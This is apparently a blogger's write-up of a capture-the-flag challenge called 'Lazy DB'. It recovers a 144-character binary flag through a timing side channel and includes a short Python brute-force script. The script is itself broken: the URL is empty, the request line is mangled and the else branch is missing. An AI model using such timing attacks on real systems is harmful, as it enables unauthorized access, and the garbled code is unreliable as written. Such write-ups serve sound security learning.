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Home » CTF – [√-1 +1]CTF Server – Lazy DB

CTF – [√-1 +1]CTF Server – Lazy DB

The Challenge

The Solution

This one was fun to do but I needed some help in the beginnen

Clicking on the source

So in the source we see that we need 144 character long string

We can use a post command

The hint I got was binary

When filling in a 0 or 1 on I noticed one was taking longer then the other one. So when the right combination is active the site react longer

I wrote a Python script to act on this

import requests
bi = "1"
url = ''
myobj = {'flag': bi}
#attempt = 1
while len(bi) < 144:
    print("We will try:", bi)
    response =, data=myobj)
    if response.elapsed.total_seconds() > 1:
        #If the 0 is goo then is can stay
        print("Number is good")
        bi = bi + "1" # add 0 for next run
        myobj = {'flag': bi}
        #if the 0 is wrong then we will replace it for a 1
        print("Number is wrong")
        bi = bi[:-1] #0 is wrong so we are going to add a 1
        bi = bi + "0"
        bi = bi + "1" #add 0 for next run
        myobj = {'flag': bi}
    print("Lengte flag is:", len(bi))
    print("flag is: ",bi)
I ended up with a 144 binary string. Which still needed to be encoded

Put it through CyberChef

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